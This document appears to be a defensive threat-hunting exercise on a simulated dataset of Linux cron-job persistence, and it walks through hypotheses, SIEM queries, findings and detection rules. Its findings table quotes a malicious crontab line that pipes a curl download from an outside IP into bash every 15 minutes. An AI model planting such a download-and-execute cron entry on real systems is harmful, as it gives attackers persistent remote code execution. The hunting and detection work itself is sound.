Threat Hunting Exercise: Analyzing Linux Cron Job Persistence Dataset
This hunt uses a simulated Linux auditd/syslog dataset (linux_cron_persist_2022-05-14T020000.json) capturing T1053.003: Scheduled Task/Job - Cron, where an adversary who obtained SSH access to a Linux web server installs a crontab entry that re-downloads and executes a payload every 15 minutes, ensuring persistence even if the primary implant is killed.
Step 1: Hypothesis Formation
Hypothesis: A crontab entry is created (via crontab -e, direct edit of /var/spool/cron/crontabs/, or /etc/cron.d/) that runs a shell command fetching and executing a remote script at a short, regular interval, under a service or web-server account not normally associated with scheduled jobs. Indicators:
- auditd:
PATHorSYSCALLrecords showing writes to/var/spool/cron/crontabs/www-dataor/etc/cron.d/. - Crontab content includes
curl/wgetpiped tosh/bash, or a base64-decoded inline payload. - Cron-spawned process tree:
cron→sh→curl/wget→ outbound connection, recurring every N minutes. - Account (
www-data,apache) has no legitimate business reason to run scheduled jobs per configuration baseline.
Null Hypothesis: A legitimate administrator or deployment automation tool (e.g., Ansible, a log-rotation script) created the cron entry. Invalidate via change-management records and by inspecting the command content for exfil/download characteristics inconsistent with any documented job.
Rationale: Cron is one of the most common and durable Linux persistence mechanisms, surviving reboots and simple process kills; this hunt validates detection via auditd file-write monitoring combined with process-tree analysis of cron-spawned children.
Step 2: Data Sources and Scope
- Sources: auditd (file writes, syscalls); Sysmon-for-Linux or equivalent EDR (process creation); Web server access logs (for initial compromise corroboration).
- Scope: ~2022-05-14T02:00:00-04:00:00 UTC; Host: web01.prod (10.80.4.12); Account: www-data.
- SIEM Queries (Splunk/ELK):
- Cron file writes:
index=auditd path="/var/spool/cron/crontabs/" OR path="/etc/cron.d/" type=PATH - Cron-spawned downloads:
index=edr ParentProcess="cron" (Process="curl" OR Process="wget") - Recurring interval:
index=edr Process="curl" User="www-data" | delta _time as gap | stats avg(gap), stdev(gap)
Step 3: Key Findings
Parsed events (7 shown) confirm a malicious crontab entry under www-data executing a download-and-run payload every 15 minutes.
| Timestamp (UTC) | Host | Actor | Event | IOC/Why Suspicious? | |
|---|---|---|---|---|---|
| 2022-05-14 02:01:04 | web01.prod | www-data | auditd PATH write: /var/spool/cron/crontabs/www-data | Write IOC: crontab file modified by the web server's service account - no legitimate deployment process touches this file directly. | |
| 2022-05-14 02:01:04 | web01.prod | www-data | Crontab content: `/15 * curl -s http://185.212.44.9/u.sh | bash` | Payload IOC: inline download-and-execute pattern, classic dropper cron entry. |
| 2022-05-14 02:15:00 | web01.prod | www-data | Process tree: cron → bash → curl → outbound to 185.212.44.9 | First scheduled execution confirms the cron entry is active and functioning. | |
| 2022-05-14 02:30:01 | web01.prod | www-data | Same process tree repeats | Second execution, exactly 15 minutes later - confirms interval regularity. | |
| 2022-05-14 02:45:03 | web01.prod | www-data | Same process tree repeats | Third execution - persistence mechanism firing reliably. | |
| - | web01.prod | (config baseline) | N/A | Account-purpose IOC: www-data is documented solely for the web server process; no scheduled job is authorized for this account per the host's configuration management baseline. | |
| - | web01.prod | (initial access) | N/A | Web server access logs show a suspicious POST to an upload endpoint at 01:55 UTC, six minutes before the crontab write - likely the initial web-shell-based access used to plant the cron job. |
Validation:
- Timeline: Web shell upload → crontab write → recurring 15-minute execution - a clean initial-access-to-persistence chain.
- False Positives: Config baseline confirms no legitimate job is authorized for www-data; the inline curl-pipe-to-bash pattern has no benign administrative equivalent.
- Correlation: Single host, single account, single external IP - isolated to one compromised web server, not a fleet-wide issue.
Step 4: Recommendations & Next Steps
- Immediate Response: Remove the malicious crontab entry; kill any running payload processes; isolate web01.prod for forensic imaging; investigate the web shell/upload vector used for initial access and patch the vulnerable application component.
- Detection: Sigma-style rule:
title: Cron Persistence via Service Account with Download-Execute Pattern→selection: path contains '/var/spool/cron/crontabs/' AND (content contains 'curl' OR content contains 'wget') AND user IN (service_accounts)- alert on any write to cron directories by non-admin accounts. - Pro Tip: Baseline which accounts are allowed to own crontab entries at all - on most web/app servers, the honest answer is "none of the service accounts" - and alert on any write to
/var/spool/cron/crontabs/or/etc/cron.d/by those accounts as a near-zero-false-positive detection.
Hypothesis confirmed - a malicious cron job under the web server's service account provides recurring 15-minute persistence via a download-and-execute payload!